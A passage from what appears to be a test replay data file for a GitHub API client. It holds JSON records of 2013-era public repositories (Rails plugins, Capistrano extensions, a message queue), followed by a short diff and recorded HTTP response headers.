mmits_url":"https://api.github.com/repos/lazyatom/soup/git/commits{/sha}","comments_url":"https://api.github.com/repos/lazyatom/soup/comments{/number}","issue_comment_url":"https://api.github.com/repos/lazyatom/soup/issues/comments/{number}","contents_url":"https://api.github.com/repos/lazyatom/soup/contents/{+path}","compare_url":"https://api.github.com/repos/lazyatom/soup/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lazyatom/soup/merges","archive_url":"https://api.github.com/repos/lazyatom/soup/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lazyatom/soup/downloads","issues_url":"https://api.github.com/repos/lazyatom/soup/issues{/number}","pulls_url":"https://api.github.com/repos/lazyatom/soup/pulls{/number}","milestones_url":"https://api.github.com/repos/lazyatom/soup/milestones{/number}","notifications_url":"https://api.github.com/repos/lazyatom/soup/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lazyatom/soup/labels{/name}"},{"id":332,"name":"rails","full_name":"josh/rails","owner":{"login":"josh","id":137,"avatar_url":"https://2.gravatar.com/avatar/bbe5dc8dcf248706525ab76f46185520?d=https%3A%2F%2Fidenticons.github.com%2F3988c7f88ebcb58c6ce932b957b6f332.png","gravatar_id":"bbe5dc8dcf248706525ab76f46185520","url":"https://api.github.com/users/josh","html_url":"https://github.com/josh","followers_url":"https://api.github.com/users/josh/followers","following_url":"https://api.github.com/users/josh/following{/other_user}","gists_url":"https://api.github.com/users/josh/gists{/gist_id}","starred_url":"https://api.github.com/users/josh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/josh/subscriptions","organizations_url":"https://api.github.com/users/josh/orgs","repos_url":"https://api.github.com/users/josh/repos","events_url":"https://api.github.com/users/josh/events{/privacy}","received_events_url":"https://api.github.com/users/josh/received_events","type":"User"},"private":false,"html_url":"https://github.com/josh/rails","description":"Ruby on Rails","fork":true,"url":"https://api.github.com/repos/josh/rails","forks_url":"https://api.github.com/repos/josh/rails/forks","keys_url":"https://api.github.com/repos/josh/rails/keys{/key_id}","collaborators_url":"https://api.github.com/repos/josh/rails/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/josh/rails/teams","hooks_url":"https://api.github.com/repos/josh/rails/hooks","issue_events_url":"https://api.github.com/repos/josh/rails/issues/events{/number}","events_url":"https://api.github.com/repos/josh/rails/events","assignees_url":"https://api.github.com/repos/josh/rails/assignees{/user}","branches_url":"https://api.github.com/repos/josh/rails/branches{/branch}","tags_url":"https://api.github.com/repos/josh/rails/tags","blobs_url":"https://api.github.com/repos/josh/rails/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/josh/rails/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/josh/rails/git/refs{/sha}","trees_url":"https://api.github.com/repos/josh/rails/git/trees{/sha}","statuses_url":"https://api.github.com/repos/josh/rails/statuses/{sha}","languages_url":"https://api.github.com/repos/josh/rails/languages","stargazers_url":"https://api.github.com/repos/josh/rails/stargazers","contributors_url":"https://api.github.com/repos/josh/rails/contributors","subscribers_url":"https://api.github.com/repos/josh/rails/subscribers","subscription_url":"https://api.github.com/repos/josh/rails/subscription","commits_url":"https://api.github.com/repos/josh/rails/commits{/sha}","git_commits_url":"https://api.github.com/repos/josh/rails/git/commits{/sha}","comments_url":"https://api.github.com/repos/josh/rails/comments{/number}","issue_comment_url":"https://api.github.com/repos/josh/rails/issues/comments/{number}","contents_url":"https://api.github.com/repos/josh/rails/contents/{+path}","compare_url":"https://api.github.com/repos/josh/rails/compare/{base}...{head}","merges_url":"https://api.github.com/repos/josh/rails/merges","archive_url":"https://api.github.com/repos/josh/rails/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/josh/rails/downloads","issues_url":"https://api.github.com/repos/josh/rails/issues{/number}","pulls_url":"https://api.github.com/repos/josh/rails/pulls{/number}","milestones_url":"https://api.github.com/repos/josh/rails/milestones{/number}","notifications_url":"https://api.github.com/repos/josh/rails/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/josh/rails/labels{/name}"},{"id":334,"name":"backpacking","full_name":"cdcarter/backpacking","owner":{"login":"cdcarter","id":164,"avatar_url":"https://1.gravatar.com/avatar/96931bfe0c2948f47a98e15ae52e5637?d=https%3A%2F%2Fidenticons.github.com%2Ffa7cdfad1a5aaf8370ebeda47a1ff1c3.png","gravatar_id":"96931bfe0c2948f47a98e15ae52e5637","url":"https://api.github.com/users/cdcarter","html_url":"https://github.com/cdcarter","followers_url":"https://api.github.com/users/cdcarter/followers","following_url":"https://api.github.com/users/cdcarter/following{/other_user}","gists_url":"https://api.github.com/users/cdcarter/gists{/gist_id}","starred_url":"https://api.github.com/users/cdcarter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cdcarter/subscriptions","organizations_url":"https://api.github.com/users/cdcarter/orgs","repos_url":"https://api.github.com/users/cdcarter/repos","events_url":"https://api.github.com/users/cdcarter/events{/privacy}","received_events_url":"https://api.github.com/users/cdcarter/received_events","type":"User"},"private":false,"html_url":"https://github.com/cdcarter/backpacking","description":"An Io web framework of sorts","fork":false,"url":"https://api.github.com/repos/cdcarter/backpacking","forks_url":"https://api.github.com/repos/cdcarter/backpacking/forks","keys_url":"https://api.github.com/repos/cdcarter/backpacking/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cdcarter/backpacking/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cdcarter/backpacking/teams","hooks_url":"https://api.github.com/repos/cdcarter/backpacking/hooks","issue_events_url":"https://api.github.com/repos/cdcarter/backpacking/issues/events{/number}","events_url":"https://api.github.com/repos/cdcarter/backpacking/events","assignees_url":"https://api.github.com/repos/cdcarter/backpacking/assignees{/user}","branches_url":"https://api.github.com/repos/cdcarter/backpacking/branches{/branch}","tags_url":"https://api.github.com/repos/cdcarter/backpacking/tags","blobs_url":"https://api.github.com/repos/cdcarter/backpacking/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cdcarter/backpacking/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cdcarter/backpacking/git/refs{/sha}","trees_url":"https://api.github.com/repos/cdcarter/backpacking/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cdcarter/backpacking/statuses/{sha}","languages_url":"https://api.github.com/repos/cdcarter/backpacking/languages","stargazers_url":"https://api.github.com/repos/cdcarter/backpacking/stargazers","contributors_url":"https://api.github.com/repos/cdcarter/backpacking/contributors","subscribers_url":"https://api.github.com/repos/cdcarter/backpacking/subscribers","subscription_url":"https://api.github.com/repos/cdcarter/backpacking/subscription","commits_url":"https://api.github.com/repos/cdcarter/backpacking/commits{/sha}","git_commits_url":"https://api.github.com/repos/cdcarter/backpacking/git/commits{/sha}","comments_url":"https://api.github.com/repos/cdcarter/backpacking/comments{/number}","issue_comment_url":"https://api.github.com/repos/cdcarter/backpacking/issues/comments/{number}","contents_url":"https://api.github.com/repos/cdcarter/backpacking/contents/{+path}","compare_url":"https://api.github.com/repos/cdcarter/backpacking/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cdcarter/backpacking/merges","archive_url":"https://api.github.com/repos/cdcarter/backpacking/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cdcarter/backpacking/downloads","issues_url":"https://api.github.com/repos/cdcarter/backpacking/issues{/number}","pulls_url":"https://api.github.com/repos/cdcarter/backpacking/pulls{/number}","milestones_url":"https://api.github.com/repos/cdcarter/backpacking/milestones{/number}","notifications_url":"https://api.github.com/repos/cdcarter/backpacking/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cdcarter/backpacking/labels{/name}"},{"id":339,"name":"capsize","full_name":"jnewland/capsize","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/capsize","description":"A Capistrano extension for managing and running your app on Amazon EC2.","fork":false,"url":"https://api.github.com/repos/jnewland/capsize","forks_url":"https://api.github.com/repos/jnewland/capsize/forks","keys_url":"https://api.github.com/repos/jnewland/capsize/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/capsize/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/capsize/teams","hooks_url":"https://api.github.com/repos/jnewland/capsize/hooks","issue_events_url":"https://api.github.com/repos/jnewland/capsize/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/capsize/events","assignees_url":"https://api.github.com/repos/jnewland/capsize/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/capsize/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/capsize/tags","blobs_url":"https://api.github.com/repos/jnewland/capsize/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/capsize/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/capsize/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/capsize/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/capsize/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/capsize/languages","stargazers_url":"https://api.github.com/repos/jnewland/capsize/stargazers","contributors_url":"https://api.github.com/repos/jnewland/capsize/contributors","subscribers_url":"https://api.github.com/repos/jnewland/capsize/subscribers","subscription_url":"https://api.github.com/repos/jnewland/capsize/subscription","commits_url":"https://api.github.com/repos/jnewland/capsize/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/capsize/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/capsize/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/capsize/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/capsize/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/capsize/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/capsize/merges","archive_url":"https://api.github.com/repos/jnewland/capsize/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/capsize/downloads","issues_url":"https://api.github.com/repos/jnewland/capsize/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/capsize/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/capsize/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/capsize/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/capsize/labels{/name}"},{"id":351,"name":"starling","full_name":"bs/starling","owner":{"login":"bs","id":68,"avatar_url":"https://0.gravatar.com/avatar/e9abc07e644756d917e9de193236fd39?d=https%3A%2F%2Fidenticons.github.com%2Fa3f390d88e4c41f2747bfa2f1b5f87db.png","gravatar_id":"e9abc07e644756d917e9de193236fd39","url":"https://api.github.com/users/bs","html_url":"https://github.com/bs","followers_url":"https://api.github.com/users/bs/followers","following_url":"https://api.github.com/users/bs/following{/other_user}","gists_url":"https://api.github.com/users/bs/gists{/gist_id}","starred_url":"https://api.github.com/users/bs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bs/subscriptions","organizations_url":"https://api.github.com/users/bs/orgs","repos_url":"https://api.github.com/users/bs/repos","events_url":"https://api.github.com/users/bs/events{/privacy}","received_events_url":"https://api.github.com/users/bs/received_events","type":"User"},"private":false,"html_url":"https://github.com/bs/starling","description":"Starling Message Queue","fork":false,"url":"https://api.github.com/repos/bs/starling","forks_url":"https://api.github.com/repos/bs/starling/forks","keys_url":"https://api.github.com/repos/bs/starling/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bs/starling/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bs/starling/teams","hooks_url":"https://api.github.com/repos/bs/starling/hooks","issue_events_url":"https://api.github.com/repos/bs/starling/issues/events{/number}","events_url":"https://api.github.com/repos/bs/starling/events","assignees_url":"https://api.github.com/repos/bs/starling/assignees{/user}","branches_url":"https://api.github.com/repos/bs/starling/branches{/branch}","tags_url":"https://api.github.com/repos/bs/starling/tags","blobs_url":"https://api.github.com/repos/bs/starling/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bs/starling/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bs/starling/git/refs{/sha}","trees_url":"https://api.github.com/repos/bs/starling/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bs/starling/statuses/{sha}","languages_url":"https://api.github.com/repos/bs/starling/languages","stargazers_url":"https://api.github.com/repos/bs/starling/stargazers","contributors_url":"https://api.github.com/repos/bs/starling/contributors","subscribers_url":"https://api.github.com/repos/bs/starling/subscribers","subscription_url":"https://api.github.com/repos/bs/starling/subscription","commits_url":"https://api.github.com/repos/bs/starling/commits{/sha}","git_commits_url":"https://api.github.com/repos/bs/starling/git/commits{/sha}","comments_url":"https://api.github.com/repos/bs/starling/comments{/number}","issue_comment_url":"https://api.github.com/repos/bs/starling/issues/comments/{number}","contents_url":"https://api.github.com/repos/bs/starling/contents/{+path}","compare_url":"https://api.github.com/repos/bs/starling/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bs/starling/merges","archive_url":"https://api.github.com/repos/bs/starling/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bs/starling/downloads","issues_url":"https://api.github.com/repos/bs/starling/issues{/number}","pulls_url":"https://api.github.com/repos/bs/starling/pulls{/number}","milestones_url":"https://api.github.com/repos/bs/starling/milestones{/number}","notifications_url":"https://api.github.com/repos/bs/starling/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bs/starling/labels{/name}"},{"id":360,"name":"ape","full_name":"sr/ape","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/ape","description":"The Atom Protocol Exerciser","fork":false,"url":"https://api.github.com/repos/sr/ape","forks_url":"https://api.github.com/repos/sr/ape/forks","keys_url":"https://api.github.com/repos/sr/ape/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/ape/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/ape/teams","hooks_url":"https://api.github.com/repos/sr/ape/hooks","issue_events_url":"https://api.github.com/repos/sr/ape/issues/events{/number}","events_url":"https://api.github.com/repos/sr/ape/events","assignees_url":"https://api.github.com/repos/sr/ape/assignees{/user}","branches_url":"https://api.github.com/repos/sr/ape/branches{/branch}","tags_url":"https://api.github.com/repos/sr/ape/tags","blobs_url":"https://api.github.com/repos/sr/ape/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/ape/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/ape/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/ape/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/ape/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/ape/languages","stargazers_url":"https://api.github.com/repos/sr/ape/stargazers","contributors_url":"https://api.github.com/repos/sr/ape/contributors","subscribers_url":"https://api.github.com/repos/sr/ape/subscribers","subscription_url":"https://api.github.com/repos/sr/ape/subscription","commits_url":"https://api.github.com/repos/sr/ape/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/ape/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/ape/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/ape/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/ape/contents/{+path}","compare_url":"https://api.github.com/repos/sr/ape/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/ape/merges","archive_url":"https://api.github.com/repos/sr/ape/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/ape/downloads","issues_url":"https://api.github.com/repos/sr/ape/issues{/number}","pulls_url":"https://api.github.com/repos/sr/ape/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/ape/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/ape/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/ape/labels{/name}"},{"id":362,"name":"awesomeness","full_name":"collectiveidea/awesomeness","owner":{"login":"collectiveidea","id":128,"avatar_url":"https://2.gravatar.com/avatar/13ff8dc8c2bf2a4752816e1e3f201a05?d=https%3A%2F%2Fidenticons.github.com%2F76dc611d6ebaafc66cc0879c71b5db5c.png","gravatar_id":"13ff8dc8c2bf2a4752816e1e3f201a05","url":"https://api.github.com/users/collectiveidea","html_url":"https://github.com/collectiveidea","followers_url":"https://api.github.com/users/collectiveidea/followers","following_url":"https://api.github.com/users/collectiveidea/following{/other_user}","gists_url":"https://api.github.com/users/collectiveidea/gists{/gist_id}","starred_url":"https://api.github.com/users/collectiveidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/collectiveidea/subscriptions","organizations_url":"https://api.github.com/users/collectiveidea/orgs","repos_url":"https://api.github.com/users/collectiveidea/repos","events_url":"https://api.github.com/users/collectiveidea/events{/privacy}","received_events_url":"https://api.github.com/users/collectiveidea/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/collectiveidea/awesomeness","description":"Collective Idea's Awesomeness. A collection of useful Rails bits and pieces.","fork":false,"url":"https://api.github.com/repos/collectiveidea/awesomeness","forks_url":"https://api.github.com/repos/collectiveidea/awesomeness/forks","keys_url":"https://api.github.com/repos/collectiveidea/awesomeness/keys{/key_id}","collaborators_url":"https://api.github.com/repos/collectiveidea/awesomeness/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/collectiveidea/awesomeness/teams","hooks_url":"https://api.github.com/repos/collectiveidea/awesomeness/hooks","issue_events_url":"https://api.github.com/repos/collectiveidea/awesomeness/issues/events{/number}","events_url":"https://api.github.com/repos/collectiveidea/awesomeness/events","assignees_url":"https://api.github.com/repos/collectiveidea/awesomeness/assignees{/user}","branches_url":"https://api.github.com/repos/collectiveidea/awesomeness/branches{/branch}","tags_url":"https://api.github.com/repos/collectiveidea/awesomeness/tags","blobs_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/refs{/sha}","trees_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/trees{/sha}","statuses_url":"https://api.github.com/repos/collectiveidea/awesomeness/statuses/{sha}","languages_url":"https://api.github.com/repos/collectiveidea/awesomeness/languages","stargazers_url":"https://api.github.com/repos/collectiveidea/awesomeness/stargazers","contributors_url":"https://api.github.com/repos/collectiveidea/awesomeness/contributors","subscribers_url":"https://api.github.com/repos/collectiveidea/awesomeness/subscribers","subscription_url":"https://api.github.com/repos/collectiveidea/awesomeness/subscription","commits_url":"https://api.github.com/repos/collectiveidea/awesomeness/commits{/sha}","git_commits_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/commits{/sha}","comments_url":"https://api.github.com/repos/collectiveidea/awesomeness/comments{/number}","issue_comment_url":"https://api.github.com/repos/collectiveidea/awesomeness/issues/comments/{number}","contents_url":"https://api.github.com/repos/collectiveidea/awesomeness/contents/{+path}","compare_url":"https://api.github.com/repos/collectiveidea/awesomeness/compare/{base}...{head}","merges_url":"https://api.github.com/repos/collectiveidea/awesomeness/merges","archive_url":"https://api.github.com/repos/collectiveidea/awesomeness/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/collectiveidea/awesomeness/downloads","issues_url":"https://api.github.com/repos/collectiveidea/awesomeness/issues{/number}","pulls_url":"https://api.github.com/repos/collectiveidea/awesomeness/pulls{/number}","milestones_url":"https://api.github.com/repos/collectiveidea/awesomeness/milestones{/number}","notifications_url":"https://api.github.com/repos/collectiveidea/awesomeness/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/collectiveidea/awesomeness/labels{/name}"},{"id":363,"name":"audited","full_name":"collectiveidea/audited","owner":{"login":"collectiveidea","id":128,"avatar_url":"https://2.gravatar.com/avatar/13ff8dc8c2bf2a4752816e1e3f201a05?d=https%3A%2F%2Fidenticons.github.com%2F76dc611d6ebaafc66cc0879c71b5db5c.png","gravatar_id":"13ff8dc8c2bf2a4752816e1e3f201a05","url":"https://api.github.com/users/collectiveidea","html_url":"https://github.com/collectiveidea","followers_url":"https://api.github.com/users/collectiveidea/followers","following_url":"https://api.github.com/users/collectiveidea/following{/other_user}","gists_url":"https://api.github.com/users/collectiveidea/gists{/gist_id}","starred_url":"https://api.github.com/users/collectiveidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/collectiveidea/subscriptions","organizations_url":"https://api.github.com/users/collectiveidea/orgs","repos_url":"https://api.github.com/users/collectiveidea/repos","events_url":"https://api.github.com/users/collectiveidea/events{/privacy}","received_events_url":"https://api.github.com/users/collectiveidea/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/collectiveidea/audited","description":"Audited (formerly acts_as_audited) is an ORM extension that logs all changes to your Rails models.","fork":false,"url":"https://api.github.com/repos/collectiveidea/audited","forks_url":"https://api.github.com/repos/collectiveidea/audited/forks","keys_url":"https://api.github.com/repos/collectiveidea/audited/keys{/key_id}","collaborators_url":"https://api.github.com/repos/collectiveidea/audited/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/collectiveidea/audited/teams","hooks_url":"https://api.github.com/repos/collectiveidea/audited/hooks","issue_events_url":"https://api.github.com/repos/collectiveidea/audited/issues/events{/number}","events_url":"https://api.github.com/repos/collectiveidea/audited/events","assignees_url":"https://api.github.com/repos/collectiveidea/audited/assignees{/user}","branches_url":"https://api.github.com/repos/collectiveidea/audited/branches{/branch}","tags_url":"https://api.github.com/repos/collectiveidea/audited/tags","blobs_url":"https://api.github.com/repos/collectiveidea/audited/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/collectiveidea/audited/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/collectiveidea/audited/git/refs{/sha}","trees_url":"https://api.github.com/repos/collectiveidea/audited/git/trees{/sha}","statuses_url":"https://api.github.com/repos/collectiveidea/audited/statuses/{sha}","languages_url":"https://api.github.com/repos/collectiveidea/audited/languages","stargazers_url":"https://api.github.com/repos/collectiveidea/audited/stargazers","contributors_url":"https://api.github.com/repos/collectiveidea/audited/contributors","subscribers_url":"https://api.github.com/repos/collectiveidea/audited/subscribers","subscription_url":"https://api.github.com/repos/collectiveidea/audited/subscription","commits_url":"https://api.github.com/repos/collectiveidea/audited/commits{/sha}","git_commits_url":"https://api.github.com/repos/collectiveidea/audited/git/commits{/sha}","comments_url":"https://api.github.com/repos/collectiveidea/audited/comments{/number}","issue_comment_url":"https://api.github.com/repos/collectiveidea/audited/issues/comments/{number}","contents_url":"https://api.github.com/repos/collectiveidea/audited/contents/{+path}","compare_url":"https://api.github.com/repos/collectiveidea/audited/compare/{base}...{head}","merges_url":"https://api.github.com/repos/collectiveidea/audited/merges","archive_url":"https://api.github.com/repos/collectiveidea/audited/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/collectiveidea/audited/downloads","issues_url":"https://api.github.com/repos/collectiveidea/audited/issues{/number}","pulls_url":"https://api.github.com/repos/collectiveidea/audited/pulls{/number}","milestones_url":"https://api.github.com/repos/collectiveidea/audited/milestones{/number}","notifications_url":"https://api.github.com/repos/collectiveidea/audited/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/collectiveidea/audited/labels{/name}"},{"id":364,"name":"acts_as_geocodable","full_name":"collectiveidea/acts_as_geocodable","owner":{"login":"collectiveidea","id":128,"avatar_url":"https://2.gravatar.com/avatar/13ff8dc8c2bf2a4752816e1e3f201a05?d=https%3A%2F%2Fidenticons.github.com%2F76dc611d6ebaafc66cc0879c71b5db5c.png","gravatar_id":"13ff8dc8c2bf2a4752816e1e3f201a05","url":"https://api.github.com/users/collectiveidea","html_url":"https://github.com/collectiveidea","followers_url":"https://api.github.com/users/collectiveidea/followers","following_url":"https://api.github.com/users/collectiveidea/following{/other_user}","gists_url":"https://api.github.com/users/collectiveidea/gists{/gist_id}","starred_url":"https://api.github.com/users/collectiveidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/collectiveidea/subscriptions","organizations_url":"https://api.github.com/users/collectiveidea/orgs","repos_url":"https://api.github.com/users/collectiveidea/repos","events_url":"https://api.github.com/users/collectiveidea/events{/privacy}","received_events_url":"https://api.github.com/users/collectiveidea/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/collectiveidea/acts_as_geocodable","description":"A Rails plugin that makes your applications geo-aware.","fork":false,"url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable","forks_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/forks","keys_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/keys{/key_id}","collaborators_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/teams","hooks_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/hooks","issue_events_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/issues/events{/number}","events_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/events","assignees_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/assignees{/user}","branches_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/branches{/branch}","tags_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/tags","blobs_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/refs{/sha}","trees_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/trees{/sha}","statuses_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/statuses/{sha}","languages_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/languages","stargazers_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/stargazers","contributors_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/contributors","subscribers_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/subscribers","subscription_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/subscription","commits_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/commits{/sha}","git_commits_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/commits{/sha}","comments_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/comments{/number}","issue_comment_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/issues/comments/{number}","contents_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/contents/{+path}","compare_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/compare/{base}...{head}","merges_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/merges","archive_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/downloads","issues_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/issues{/number}","pulls_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/pulls{/number}","milestones_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/milestones{/number}","notifications_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/labels{/name}"}] - diff --git a/tests/ReplayData/Github.testGetReposSince.txt b/tests/ReplayData/Github.testGetReposSince.txt index 0564e373fb..e7433be67f 100644 --- a/tests/ReplayData/Github.testGetReposSince.txt +++ b/tests/ReplayData/Github.testGetReposSince.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '399618'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"12e839cbce49c8f05e4f6dcb7a3889f0"'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 19:48:29 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377117459')] 